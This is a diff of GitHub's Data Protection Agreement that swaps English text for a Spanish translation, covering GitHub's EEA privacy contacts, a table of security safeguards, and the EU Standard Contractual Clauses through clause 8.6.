-Information Security Incident Management | **Incident Response Process** <br/> - GitHub maintains a record of security incidents with a description of the incidents, the time period, the consequences of the breach, the name of the reporter, and to whom the incident was reported, and details regarding the handling of the incident. <br/> - In the event that GitHub Security confirms or reasonably suspects that a GitHub.com customer is affected by a data breach, we will notify the customer without undue delay <br/> - GitHub tracks, or enables Customer to track, disclosures of Customer Data, including what data has been disclosed, to whom, and at what time. <br/><br/> **Service Monitoring**. GitHub employs a wide range of continuous monitoring solutions for preventing, detecting, and mitigating attacks to the site. 
-Business Continuity Management | - GitHub maintains emergency and contingency plans for the facilities in which GitHub information systems that process Customer Data and Personal Data are located. <br/> - GitHub’s redundant storage and its procedures for recovering data are designed to attempt to reconstruct Customer Data and Personal Data in its original or last-replicated state from before the time it was lost or destroyed.
+**GitHub Privacy** <br/> GitHub, Inc. <br/> 88 Colin P. Kelly Jr. Street <br/> San Francisco, California 94107 EE.UU. <br/>
 
-<p id="attachment1"><h1>Attachment 1 - The Standard Contractual Clauses (EU/EEA)</h1></p>
+GitHub B.V. es el representante de protección de datos de GitHub para el Área Económica Europea. Puedes contactar al representante de privacidad de GitHub B.V. en la siguiente dirección postal:
 
-### Controller to Processor 
+**GitHub B.V.** <br/> Vijzelstraat 68-72 <br/> 1017 HL Amsterdam <br/> Países Bajos <br/>
 
-#### SECTION I 
+<p id="appendixA"><h1>Apéndice A – Salvaguardas de Seguridad</h1></p>
 
-##### Clause 1 
+GitHub ha implementado y mantendrá para los Datos de Cliente y Datos Personales que procese en nombre y de acuerdo con las instrucciones documentadas del Cliente en conexión con los servicios de GitHub las siguientes medidas organizacionales y técnicas y las salvaguardas de seguridad, las cuales en conjunto con los compromisos de seguridad en este DPA (incluyendo los relacionados con los Terminos relacionados con la GDPR), son responsabilidad exclusiva de GitHub con respecto a la seguridad de dichos datos:
 
-**Purpose and scope**
+| Dominio                                               | Prácticas                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         |
+| ----------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| Organización de la seguridad informática              | **Propiedad de la seguridad**. GitHub designó uno o más funcionarios de seguridad responsables de coordinar y monitorear las políticas y procedimientos de seguridad. <br/><br/> **Roles y responsabilidades de seguridad**. El personal de GitHub con acceso a los Datos del Cliente y Datos Personales están sujetos a obligaciones de confidencialidad. <br/><br/> **Programa de administración de riesgos**. GitHub realiza una valoración de riesgos anual. <br/> GitHub retiene sus documentos de seguridad según sus requisitos de retención después de que ya no están vigentes. <br/><br/> **Administración de proveedores**. GitHub tiene un proceso de valoración de riesgo de proveedores, cláusulas contractuales con los proveedores y acuerdos de protección de datos adicionales con estos.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             |
+| Administración de activos                             | **Inventario de activos**. GitHub mantiene un inventario de todos los medios en los que se almacenan los Datos de Clientes y Datos Personales. El acceso a los inventarios de dichos medios se restringe al personal de GitHub autorizado para estos fines. <br/><br/> **Manejo de activos** <br/> - GitHub clasifica los Datos de Cliente y Datos Personales para ayudar a identificarlos y permitir que el acceso a los mismos se restrinja adecuadamente. <br/> - GitHub comunica la responsabilidad de empleo y rendición de cuentas sobre la protección de datos hasta el punto de e incluyendo las causas de terminación. <br/> El personal de GitHub debe obtener la autorización de GitHub antes de acceder remotamente a los Datos de Cliente y Datos Personales o de procesar estos fuera de las instalaciones de GitHub.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 |
+| Seguridad de Recursos Humanos                         | **Capacitación de seguridad**. GitHub requiere que todo el personal nuevo que se contrate complete una capacitación de concientización de privacidad y seguridad como parte inicial de su integración. Es necesario participar en las capacitaciones anuales para que los empleados proporcionen una línea base de lo esencial en privacidad y seguridad.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         |
+| Seguridad ambiental y física                          | **Acceso físico a las instalaciones**. GitHub limita el acceso a las instalaciones donde se ubican los sistemas informáticos que procesan Datos de Cliente y Datos Personales para los individuos autorizados identificados. <br/><br/> **Acceso físico a los componentes**. GitHub mantiene registros de los medios salientes y entrantes que contengan Datos de Cliente, incluyendo el tipo de medios, los receptores/emisores autorizados, la fecha y hora, la cantidad de medios y los tipos de Datos Personales y de Cliente que contengan. <br/><br/> **Protección contra las interrupciones**. GitHub utiliza diversos sistemas estándar de la industria para protegerse contra la pérdida de datos debido a fallos en el suministro de energía eléctrica o de interferencia de línea. <br/><br/> **Eliminación de componentes**. GitHub utiliza procedimientos estándar de la industria para borrar Datos de Cliente o Personales cuando ya no se requieren.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          |
+| Administración de comunicaciones y operaciones        | **Política operativa**. GitHub mantiene documentos de seguridad que describen sus medidas de seguridad y los procedimientos y responsabilidades relevantes de su personal que tiene acceso a los Datos de Cliente. <br/><br/> **Procedimientos de recuperación de datos** <br/> - Constantemente, pero jamás en una frecuencia menor a una vez por semana (A menos de que no se hayan actualizado Datos de Cliente o Personales durante este periodo de tiempo), GitHub mantendrá copias múltiples de los Datos Personales y de Cliente desde donde estos puedan recuperarse. <br/> - GitHub almacena copias de los Datos de Cliente y Personales y los procedimientos de recuperación de datos en un lugar distinto a donde se ubica el equipo de cómputo primario que los procesa. <br/> - GitHub cuenta con procedimientos específicos que rigen el acceso a las copias de los Datos de Cliente. <br/> - GitHub registra los esfuerzos de restablecimiento de datos, incluyendo la persona responsable, la descripción de los datos restablecidos y, cuando aplica, la persona responsable y el tipo de datos (en su caso) que tuvieron que ingresarse manualmente en el proceso de recuperación. <br/><br/> **Software malintencionado**. GitHub tiene controles de detección de amenazas que ayudan a identificar y responder a cualquier tipo de acceso sospechoso anómalo a los Datos de Cliente, incluyendo el software malicioso que se origina de las redes públicas. <br/><br/> **Datos más allá de los límites** <br/> - GitHub cifra o habilita al Cliente para cifrar Datos de Cliente o Personales que se transmitan a través de las redes públicas. <br/> - GitHub restringe el acceso a los Datos de Cliente y Personales en los datos que salen de sus instalaciones. <br/><br/> **Registro de eventos**. GitHub registra o habilita al cliente para que Registre, acceda y utilice los sistemas informáticos que contienen Datos de Cliente, registrando la ID de acceso, la hora, la autorización obtenida o denegada y la actividad relevante.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           |
+| Control de Accesos                                    | **Política de acceso**. GitHub mantiene un registro de los privilegios de seguridad de los individuos que tienen acceso a los Datos de Cliente. <br/><br/> **Autorización de Acceso** <br/> - GitHub mantiene y actualiza un registro del personal autorizado para acceder a los sistemas de GitHub que contengan Datos de Cliente. <br/> - GitHub identifica al personal que podría otorgar, alterar o cancelar el acceso no autorizado a los datos y recursos. <br/> - GitHub garantiza que, en donde más de un individuo tenga acceso a los sistemas que contienen Datos de Cliente, estos tengan identificadores/inicios de sesión separados en donde sea factible técnica y arquitectónicamente así como comercialmente razonable. <br/><br/> **Menor privilegio** <br/> - Solo se permite al personal de soporte técnico tener acceso a los Datos de Cliente y Personales cuando los necesiten. <br/> - GitHub restringe el acceso a los Datos de Cliente y Personales a únicamente aquellos individuos que lo requieran para realizar sus funciones laborales. Los empleados de GitHub solo obtienen acceso a los sistemas productivos con base en su rol dentro de la organización. <br/><br/> **Integricad y confidencialidad** <br/><br/> - GitHub instruye a su personal para que inhabilite las sesiones administrativas cuando las computadoras se quedan desatendidas. <br/> - GitHub almacena las contraseñas para que se cifren o queden ininteligibles mientras están vigentes. <br/><br/> **Autenticación** <br/> - GitHub utiliza prácticas estándar de la industria para identificar y autenticar a los usuarios que intentan acceder a los sistemas informáticos. <br/> - Cuando los mecanismos de autenticación se basan únicamente en las contraseñas, GitHub requiere que estas tengan por lo menos ocho carácteres de longitud. <br/> - GitHub se asegura de que los identificadores de empleado desactivados o vencidos no se otorguen a otros individuos. <br/> - GitHub monitorea o habilita a los Clientes para monitorear los intentos constantes de obtener acceso a los sistemas informáticos cuando se utilizan contraseñas no válidas. <br/> - GitHub mantiene los procedimientos estándar de la industria para desactivar las contraseñas que se corrompieron o se divulgaron inadvertidamente. <br/> - GitHub utiliza las prácticas de protección de contraseñas que son estándares de la industria, incluyendo aquellas que se diseñan para mantener su confidencialidad e integridad cuando se asignan y distribuyen, así como durante su almacenamiento. <br/><br/> **Diseño de red**. GitHub tiene controles para asegurarse de que ningún sistema que almacene Datos de Cliente o Personales sean parte de la misma red lógica que se utiliza para las operaciones de negocio de GitHub. |
+| Administración de incidentes de sistemas informáticos | **Proceso de respuesta incidentes** <br/> - GitHub mantiene un registro de los incidentes de seguridad con una descripción de estos, su periodo de tiempo, las consecuencias de las irrupciones, el nombre de quien los reporta y a quién se le reporta y los detalles con respecto al manejo de los mismos. <br/> - En caso de que la Seguridad de GitHub confirme o tenga una sospecha razonable de que algún cliente de GitHub.com se ve afectado por una fuga de datos, notificaremos al cliente sin demora indebida <br/> - GitHub rastrea o habilita al Cliente para rastrear las divulgaciones de Datos de Cliente, incluyendo los detalles de cuáles se divulgaron, a quién y cuándo. <br/><br/> **Monitoreo de servicios**. GitHub emplea una amplia gama de soluciones de monitoreo continuo para prevenir, detectar y mitigar los ataques al sitio.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      |
+| Administración de la continuidad del negocio          | - GitHub mantiene planes de emergencia y contingencia para las instalaciones en las que se ubican los sistemas informáticos que procesan los Datos de Cliente y Personales. <br/> - El almacenamiento redundante de GitHub, así como los procedimientos de recuperación de datos, se diseñan para intentar reconstruir Datos de Cliente y Personales en su estado original o el que se replicó al final antes de que se hubiera perdido o destruido.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        |
+
+<p id="attachment1"><h1>Adjunto 1 - Las Cláusulas Contractuales Estándar (UE/EEA)</h1></p>
+
+### Controlador a Procesador
+
+#### SECCIÓN I
+
+##### Cláusula 1
+
+**Propósito y alcance**
 
 <ol style="list-style-type:lower-alpha" class="no-styling">
-    <li>The purpose of these standard contractual clauses is to ensure compliance with the requirements of Regulation (EU) 2016/679 of the European Parliament and of the Council of 27 April 2016 on the protection of natural persons with regard to the processing of personal data and on the free movement of such data (General Data Protection Regulation) for the transfer of personal data to a third country.</li>
-    <li> The Parties: 
+    <li>El propósito de estas cláusulas contractuales estándar es garantizar el cumplimiento con los requisitos de la Regulación (UE) 2016/679 del Parlamento Europeo y del Consejo del 27 de abril de 2016 sobre la protección de las personas naturales con respecto al procesamiento de los datos personales y sobre el movimiento libre de estos datos (Regulación de Protección de Datos Generales) para la transferencia de los datos personales a un país tercero.</li>
+    <li> Las partes: 
     <ol style="list-style-type:lower-roman" class="no-styling">
-        <li>the natural or legal person(s), public authority/ies, agency/ies or other body/ies (hereinafter ‘entity/ies’) transferring the personal data, as listed in Annex I.A (hereinafter each ‘data exporter’), and</li>
-        <li>the entity/ies in a third country receiving the personal data from the data exporter, directly or indirectly via another entity also Party to these Clauses, as listed in Annex I.A (hereinafter each ‘data importer’)</li>
+        <li>la(s) persona(s) natural(es) o legal(es), autoridad/es públicas, agencia/s u otro/s cuerpo/s (en lo subsecuente ‘entidad/es’) que transfieren los datos personales de acuerdo con lo listado en el Anexo I.A (en lo subsecuente ‘exportador de datos’), y</li>
+        <li>la/s entidad/es en un país tercero que recibe/n los datos personales desde el exportador de datos, directa o indirectamente, a través de otra entidad que también sea una parte de estas cláusulas, de acuerdo con lo listado en el Anexo I.A (en lo subsecuente, cada ‘importador de datos’)</li>
     </ol>
-    have agreed to these standard contractual clauses (hereinafter: ‘Clauses’).</li>
-    <li>These Clauses apply with respect to the transfer of personal data as specified in Annex I.B.</li>
-    <li>The Appendix to these Clauses containing the Annexes referred to therein forms an integral part of these Clauses.</li>
+    acuerdan cumplir con estas cláusulas contractuales estándar (en lo subsecuente: 'las Cláusulas').</li>
+    <li>Estas cláusulas aplican con respecto a la transferencia de datos personales de acuerdo con lo especificado en el Anexo I.B.</li>
+    <li>El Apéndice de estas Cláusulas que contienen los Anexos a los cuales se hace referencia conforma una parte integral de las presentes.</li>
 </ol>
 
-##### Clause 2 
+##### Cláusula 2
 
-**Effect and invariability of the Clauses**
+**Efecto e invariabilidad de las Cláusulas**
 <ol style="list-style-type:lower-alpha" class="no-styling">
-    <li>These Clauses set out appropriate safeguards, including enforceable data subject rights and effective legal remedies, pursuant to Article 46(1) and Article 46(2)(c) of Regulation (EU) 2016/679 and, with respect to data transfers from controllers to processors and/or processors to processors, standard contractual clauses pursuant to Article 28(7) of Regulation (EU) 2016/679, provided they are not modified, except to select the appropriate Module(s) or to add or update information in the Appendix. This does not prevent the Parties from including the standard contractual clauses laid down in these Clauses in a wider contract and/or to add other clauses or additional safeguards, provided that they do not contradict, directly or indirectly, these Clauses or prejudice the fundamental rights or freedoms of data subjects.</li>
-    <li>These Clauses are without prejudice to obligations to which the data exporter is subject by virtue of Regulation (EU) 2016/679.</li>
+    <li>Estas Cláusulas establecen salvaguardas adecuadas, incluyendo los los datos de los sujetos de datos aplicables y remedios legales efectivos de acuerdo con el Artículo 46(1) y Artículo 46(2)(c) de la Regulación (UE) 2016/679 y, con respecto a las transferencias de datos desde los controladores hacia los procesadores y/o de los procesadores a los procesadores, las cláusulas contractuales estándar en cumplimiento con el Artículo 28(7) de la Regulación (UE) 2016/679, siempre y cuando no se modifiquen, excepto para seleccionar el(los) módulo(s) adecuado(s) o para agregar o actualizar la información del Apéndice. Esto no previene que las partes incluyan las cláusulas contractuales estándar que se establecen en estas Cláusulas en un contrato más amplio y/o que se agreguen otras cláusulas o salvaguardas adicionales, siempre y cuando no contradigan, directa o indirectamente, a estas cláusulas o que no perjudiquen los derechos fundamentales o libertades de los sujetos de datos.</li>
+    <li>Estas Cláusulas no tienen prejuicio u obligaciones para el exportador de datos en virtud de la Regulación (UE) 2016/679.</li>
 </ol>
 
-##### Clause 3
+##### Cláusula 3
 
-**Third-party beneficiaries**
+**Beneficiarios terceros**
 
 <ol style="list-style-type:lower-alpha" class="no-styling">
-    <li>Data subjects may invoke and enforce these Clauses, as third-party beneficiaries, against the data exporter and/or data importer, with the following exceptions: </li>
+    <li>Los sujetos de datos podrían invocar y hacer valer estas Cláusulas, como beneficiarios terceros, contra el exportador de datos y/o el importador de datos, con las siguientes exepciones: </li>
     <ol style="list-style-type:lower-roman" class="no-styling">
-        <li>Clause 1, Clause 2, Clause 3, Clause 6, Clause 7;</li>
-        <li>Clause 8.1(b), 8.9(a), (c), (d) and (e);</li>
-        <li>Clause 9(a), (c), (d) and (e);</li>
-        <li>Clause 12(a), (d) and (f);</li>
-        <li>Clause 13;</li>
-        <li>Clause 15.1(c), (d) and (e);</li>
-        <li>Clause 16(e);</li>
-        <li>Clause 18(a) and (b).</li>
+        <li>Cláusula 1, Cláusula 2, Cláusula 3, Cláusula 6, Cláusula 7;</li>
+        <li>Cláusula 8.1(b), 8.9(a), (c), (d) y (e);</li>
+        <li>Cláusula 9(a), (c), (d) y (e);</li>
+        <li>Cláusula 12(a), (d) y (f);</li>
+        <li>Cláusula 13;</li>
+        <li>Cláusula 15.1(c), (d) y (e);</li>
+        <li>Cláusula 16(e);</li>
+        <li>Cláusula 18(a) y (b).</li>
     </ol>
-    <li>Paragraph (a) is without prejudice to rights of data subjects under Regulation (EU) 2016/679.</li>
+    <li>El párrafo (a) no implica prejuicio a los derechos de los sujetos de datos bajo la Regulación (UE) 2016/679.</li>
 </ol>
 
-##### Clause 4 
+##### Cláusula 4
 
-**Interpretation**
+**Interpretación**
 
 <ol style="list-style-type:lower-alpha" class="no-styling">
-    <li>Where these Clauses use terms that are defined in Regulation (EU) 2016/679, those terms shall have the same meaning as in that Regulation.</li>
-    <li>These Clauses shall be read and interpreted in the light of the provisions of Regulation (EU) 2016/679.</li>
-    <li>These Clauses shall not be interpreted in a way that conflicts with rights and obligations provided for in Regulation (EU) 2016/679.</li>
+    <li>En donde estas Cláusulas utilicen términos que se identifiquen en la Regulación (UE) 2016/679, dichos términos tendrán el mismo significado que en esta.</li>
+    <li>Las Cláusulas deberán leerse e interpretarse a la luz de las disposiciones de la Regulación (UE) 2016/679.</li>
+    <li>Dichas cláusulas no deberán interpretarse de forma tal que entren en conflicto con los derechos y obligaciones previstas en la Regulación (UE) 2016/679.</li>
 </ol>
 
-##### Clause 5 
+##### Cláusual 5
 
-**Hierarchy**
+**Jerarquía**
 
-In the event of a contradiction between these Clauses and the provisions of related agreements between the Parties, existing at the time these Clauses are agreed or entered into thereafter, these Clauses shall prevail.
+En caso de que exista alguna contradicción entre estas Cláusulas y las disposiciones de los acuerdos relacionados entre las partes, cuando existen en el momento en el que se ingrese o acuerde con estas Cláusulas o posteriormente, estas Cláusulas prevalecerán.
 
-##### Clause 6 
+##### Cláusula 6
 
-**Description of the transfer(s)** 
+**Descripción de la(s) transferencia(s)**
 
-The details of the transfer(s), and in particular the categories of personal data that are transferred and the purpose(s) for which they are transferred, are specified in Annex I.B. 
+Los detalles de la(s) transferencia(s) y, particularmente, las categorías de los datos personales que se transfieren y el(los) propósito(s) por el(los) cuál(es) se transfiere(n), se especifican en el Anexo I.B.
 
-##### Clause 7 
+##### Cláusula 7
 
-**Docking clause** 
+**Cláusula de acoplamiento**
 
 <ol style="list-style-type:lower-alpha" class="no-styling">
-    <li>An entity that is not a Party to these Clauses may, with the agreement of the Parties, accede to these Clauses at any time, either as a data exporter or as a data importer, by completing the Appendix and signing Annex I.A.</li>
-    <li>Once it has completed the Appendix and signed Annex I.A, the acceding entity shall become a Party to these Clauses and have the rights and obligations of a data exporter or data importer in accordance with its designation in Annex I.A.</li>
-    <li>The acceding entity shall have no rights or obligations arising under these Clauses from the period prior to becoming a Party.</li>
+    <li>Una entidad que no sea una parte de estas cláusulas podrá, con el acuerdo de las Partes, acceder a ellas en cualquier momento, ya sea como exportador o importador de datos, completando el Apéndice y firmando el Anexo I.A.</li>
+    <li>Una vez que se haya completado el Apéndice y firmado el Anexo I.A, la entidad de que acceda deberá convertirse en Parte de estas Cláusulas y tener los derechos y obligaciones del exportador o importador de datos de acuerdo con su designación en el Anexo I.A.</li>
+    <li>La entidad que accede no deberá tener derechos u obligaciones que surjan bajo estas Cláusulas desde el periodo anterior a haberse convertido en una Parte.</li>
 </ol>
 
-#### SECTION II – OBLIGATIONS OF THE PARTIES 
+#### SECCIÓN II - OBLIGACIONES DE LAS PARTES
 
-##### Clause 8 
+##### Cláusula 8
 
-**Data protection safeguards** 
+**Salvaguardas de protección de datos**
 
-The data exporter warrants that it has used reasonable efforts to determine that the data importer is able, through the implementation of appropriate technical and organisational measures, to satisfy its obligations under these Clauses. 
+El exportador de datos garantiza que ha hecho esfuerzos razonables para determinar que el importador de datos es capaz, mediante la implementación de las medidas organizacionales y técnicas aduecuadas, de satisfacer sus obligaciones bajo estas Cláusulas.
 
-**8.1 Instructions**
-  <ol style="list-style-type:lower-alpha" class="no-styling">
-      <li>The data importer shall process the personal data only on documented instructions from the data exporter. The data exporter may give such instructions throughout the duration of the contract.</li>
-      <li>The data importer shall immediately inform the data exporter if it is unable to follow those instructions.</li>
+**8.1 Instrucciones** <ol style="list-style-type:lower-alpha" class="no-styling">
+      <li>El importador de datos sólo deberá procesar los datos personales que se encuentran en las instrucciones documentadas del exportador de datos. El exportador de datos podría dar dichas instrucciones a lo largo de la duración del contrato.</li>
+      <li>El importador de datos deberá informar de inmediato al exportador de datos en caso de que no sea capaz de seguir dichas instrucciones.</li>
   </ol>
 
+**8.2 Limitación del propósito**
 
-**8.2 Purpose limitation**
+El importador de datos deberá procesar los datos personales únicamente para el propósito específico de la transferencia de acuerdo con lo estipulado en el Anexo I.B, a menos de que existan instrucciones posteriores del exportador de datos.
 
-The data importer shall process the personal data only for the specific purpose(s) of the transfer, as set out in Annex I.B, unless on further instructions from the data exporter. 
+**8.3 Transparencia**
 
-**8.3 Transparency** 
+Bajo solicitud, el exportador de datos deberá tener una copia de estas Cláusulas, incluyendo el Apéndice de acuerdo con lo que complementan las Partes, disponible y gratuita para el sujeto de datos. Conforme sea necesario para proteger los secretos de negocio u otra información confidencial, incluyendo las medidas descritas en el Anexo II y los datos personales, el exportador de datos podría redactar parte del texto del Apéndice para estas Cláusulas antes de compartir una copia, pero este deberá proporcionar un resumen significativo de donde el sujeto de datos pudiese, de otra forma, no entender su contenido o ejercer sus derechos. Bajo solicitud, las Partes deberán proporcionar al sujeto de datos las razones de sus redacciones en medida de lo posible sin revelar la información redactada. Esta Cláusula no representa un prejuicio a las obligaciones del exportador de datos bajo los Artículos 13 y 14 de la Regulación (UE) 2016/679.
 
-On request, the data exporter shall make a copy of these Clauses, including the Appendix as completed by the Parties, available to the data subject free of charge. To the extent necessary to protect business secrets or other confidential information, including the measures described in Annex II and personal data, the data exporter may redact part of the text of the Appendix to these Clauses prior to sharing a copy, but shall provide a meaningful summary where the data subject would otherwise not be able to understand the its content or exercise his/her rights. On request, the Parties shall provide the data subject with the reasons for the redactions, to the extent possible without revealing the redacted information. This Clause is without prejudice to the obligations of the data exporter under Articles 13 and 14 of Regulation (EU) 2016/679. 
+**8.4 Exactitud**
 
-**8.4 Accuracy** 
+Si el importador de datos se percata de que los datos personales que recibió son inexactos u obsoletos, este deberá informar al exportador de datos sin demora indebida. En este caso, el importador de datos deberá cooperar con el exportador de datos para borrar o rectificar dichos datos.
 
-If the data importer becomes aware that the personal data it has received is inaccurate, or has become outdated, it shall inform the data exporter without undue delay. In this case, the data importer shall cooperate with the data exporter to erase or rectify the data. 
+**8.5 Duración del procesamiento y borrado o devolución de los datos**
 
-**8.5 Duration of processing and erasure or return of data** 
+El procesamiento del importador de datos solo deberá tomar lugar para la duración especificada en el Anexo I.B. Después de finalizar la prestación de los servicios de procesamiento, el importador de datos deberá, de acuerdo con las elecciones del importador de datos, borrar todos los datos procesados en nombre del exportador de datos y certificar al exportador de datos que lo ha hecho o devolver los datos personales procesados al exportador de datos en su nombre y borrar las copias existentes. Has que se borren o devuelvan los datos, el importador de datos deberá seguir asegurando el cumplimiento con estas Cláusulas. En caso de que existan leyes locales aplicables para el importador de datos, las cuales prohíban la devolución o borrado de los datos personales, el importador de datos garantiza que seguirá asegurando el cumplimiento con estas Cláusulas y que solo los procesará en medida y hasta donde lo requiera dicha ley local. Esto no implica ningún prejuicio a la Cláusula 14, particularmente, al requisito para el importador de datos bajo la cláusula 14(e) para notificar al exportador de datos a lo largo de la duración del contrato si tiene razón para creer que es o se ha convertido en sujeto de las leyes o prácticas que no se apegan a los requisitos de la Cláusula 14(a).
 
-Processing by the data importer shall only take place for the duration specified in Annex I.B. After the end of the provision of the processing services, the data importer shall, at the choice of the data exporter, delete all personal data processed on behalf of the data exporter and certify to the data exporter that it has done so, or return to the data exporter all personal data processed on its behalf and delete existing copies. Until the data is deleted or returned, the data importer shall continue to ensure compliance with these Clauses. In case of local laws applicable to the data importer that prohibit return or deletion of the personal data, the data importer warrants that it will continue to ensure compliance with these Clauses and will only process it to the extent and for as long as required under that local law. This is without prejudice to Clause 14, in particular the requirement for the data importer under Clause 14(e) to notify the data exporter throughout the duration of the contract if it has reason to believe that it is or has become subject to laws or practices not in line with the requirements under Clause 14(a). 
-
-**8.6 Security of processing** 
+**8.6 Seguridad de procesamiento**
 
 <ol style="list-style-type:lower-alpha" class="no-styling">
-    <li>The data importer and, during transmission, also the data exporter shall implement appropriate technical and organisational measures to ensure the security of the data, including protection against a breach of security leading to accidental or unlawful destruction, loss, alteration, unauthorised disclosure or access to that data (hereinafter ‘personal data breach’). In assessing the appropriate level of security, the Parties shall take due account of the state of the art, the costs of implementation, the nature, scope, context and purpose(s) of processing and the risks involved in the processing for the data subjects. The Parties shall in particular consider having recourse to encryption or pseudonymisation, including during transmission, where the purpose of processing can be fulfilled in that manner. In case of pseudonymisation, the additional information for attributing the personal data to a specific data subject shall, where possible, remain under the exclusive control of the data exporter. In complying with its obligations under this paragraph, the data importer shall at least implement the technical and organisational measures specified in Annex II. The data importer shall carry out regular checks to ensure that these measures continue to provide an appropriate level of security. </li>
-    <li>The data importer shall grant access to the personal data to members of its personnel only to the extent strictly necessary for the implementation, management and monitoring of the contract. It shall ensure that persons authorised to process the personal data have committed themselves to confidentiality or are under an appropriate statutory obligation of confidentiality. </li>
-    <li> In the event of a personal data breach concerning personal data processed by the data importer under these Clauses, the data importer shall take appropriate measures to address the breach, including measures to mitigate its adverse effects. The data importer shall also notify the data exporter without undue delay after having become aware of the breach. Such notification shall contain the details of a contact point where more information can be obtained, a description of the nature of the breach (including, where possible, categories and approximate number of data subjects and personal data records concerned), its likely consequences and the measures taken or proposed to address the breach including, where appropriate, measures to mitigate its possible adverse effects. Where, and in so far as, it is not possible to provide all information at the same time, the initial notification shall contain the information then available and further information shall, as it becomes available, subsequently be provided without undue delay. </li>
-    <li> The data importer shall cooperate with and assist the data exporter to enable the data exporter to comply with its obligations under Regulation (EU) 2016/679, in particular to notify the competent supervisory authority and the affected data subjects, taking into account the nature of processing and the information available to the data importer. </li>
+    <li>El importador de datos y, durante la transmisión, también el exportador de datos deberán implementar las medidas organizacionales y técnicas adecuadas para garantizar la seguridad de los datos, incluyendo su protección contra una posible violación de seguridad que conlleve la destrucción ilegal o accidental, pérdida, alteración, divulgación no autorizada o acceso a dichos datos (en lo subsecuente ‘violación de los datos personales’). Al evaluar el nivel adecuado de seguridad, las Partes deben tener debidamente en cuenta las tecnologías más avanzadas, los costos de implementación, la naturaleza, alcance, contexto y propósito(s) de procesamiento y los riesgos que se involucran en este para con los sujetos de datos. Las Partes deben, particularmente, considerar tener los recursos para cifrado o pseudonimización, incluyendo durante la transmisión, en donde el propósito de procesamiento pueda cumplirse de esa forma. En caso de pseudonimización, la información adicional para atribuir los datos personales a un sujeto de datos específico deberá, en medida de lo posible, permanecer bajo el control exclusivo del exportador de datos. Para cumplir con las obligaciones que le atribuye el presente párrafo, el importador de datos deberá por lo menos implementar las medidas organizacionales y técnicas que se especifican en el anexo II. El importador de datos deberá hacer verificaciones frecuentes para garantizar que estas medidas sigan proporcionándose en un nivel de seguridad adecuado. </li>
+    <li>El importador de datos deberá otorgar acceso a su personal a los datos personales únicamente en medida de lo estrictamente necesario para la implementación, administración y monitoreo del contrato. Deberá asegurarse de que las personas autorizadas para procesar los datos personales se hayan comprometido con la confidencialidad o estén en una obligación de confidencialidad estatutaria adecuada. </li>
+    <li> En caso de que exista una violación de datos personales con respecto a los datos que procesó el importador de datos bajo estas Cláusulas, el importador de datos deberá tomar las medidas adecuadas para dirigir dicha violación, incluyendo las medidas para mitigar sus efectos adversos. El importador de datos también deberá notificar al exportador de datos sin demora indebida después de haberse enterado de dicha violación. Dicha notificación deberá contener los detalles de un punto de contacto con quien se puedan obtener más información, una descripción de la naturaleza de la violación (incluyendo, cuando sea posible, las categorías y la cantidad aproximada de los sujetos de datos y de los registros de datos personales en cuestión), sus consecuencias posibles y las medidas que se llevaron a cabo o que se proponen para tratar la violación, incluyendo, cuando sea adecuado, aquellas para mitigar los posibles efectos adversos. Donde y en la medida en la que no sea posible proporcionar toda la información al mismo tiempo, la notificación inicial deberá contener la información que entonces esté disponible y el resto deberá, conforme esté disponible, proporcionarse subsecuentemente sin demora indebida. </li>
+    <li> El importador de datos deberá cooperar con y asistir al exportador de datos para que cumpla con sus obligaciones bajo la Regulación (UE) 2016/679, particularmente, para notificar a la autoridad supervisora competente y a los sujetos de datos afectados, tomando en cuenta la naturaleza del procesamiento y la información disponible para el importador de datos. </li>
 </ol>
 
